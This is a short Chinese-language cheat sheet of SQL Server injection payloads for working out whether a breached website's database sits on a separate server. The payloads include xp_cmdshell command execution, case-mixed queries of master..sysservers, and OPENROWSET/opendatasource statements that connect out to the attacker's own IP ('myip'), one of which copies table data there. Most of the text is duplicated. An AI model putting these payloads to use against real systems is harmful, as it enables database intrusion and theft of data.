SQL 中判断库站分离的技巧
1.
select @@servername
select host_name()
2.
xp/2003系统下注册表里有个键值可以得到真实的ip地址
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\{FBD72F8D-6334-4739-957A-7D324D9C27EF}\Parameters\Tcpip
,在注册表的窗口右边就可发现“IPAddress”、“DefaultGateway”、“SubnetMask”等键值,它们分别对应本机当前配置的IP地址、网关及子网掩码等信息
3.如果可以执行命令
直接ipconfig /all 如果是内网,可以用xp_cmdshell 'telnet myip 80'即可
4.
srvnAmE,srvproduct,proviDernAmE,dataSource,location,srvnetnAmE FrOm mAsTeR..sysservers
5.
SELECT * FROM opendatasource('sqloledb','data source=myip,80;user id=sa;password=sa').data.dbo.data
6.
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=sa;Network=DBMSSOCN;Address=myip,80;', 'select * from dest_table')select * from src_table;--
select @@servername
select host_name()
2.
xp/2003系统下注册表里有个键值可以得到真实的ip地址
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\{FBD72F8D-6334-4739-957A-7D324D9C27EF}\Parameters\Tcpip
,在注册表的窗口右边就可发现“IPAddress”、“DefaultGateway”、“SubnetMask”等键值,它们分别对应本机当前配置的IP地址、网关及子网掩码等信息
3.如果可以执行命令
直接ipconfig /all 如果是内网,可以用xp_cmdshell 'telnet myip 80'即可
4.
srvnAmE,srvproduct,proviDernAmE,dataSource,location,srvnetnAmE FrOm mAsTeR..sysservers
5.
SELECT * FROM opendatasource('sqloledb','data source=myip,80;user id=sa;password=sa').data.dbo.data
6.
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=sa;Network=DBMSSOCN;Address=myip,80;', 'select * from dest_table')select * from src_table;--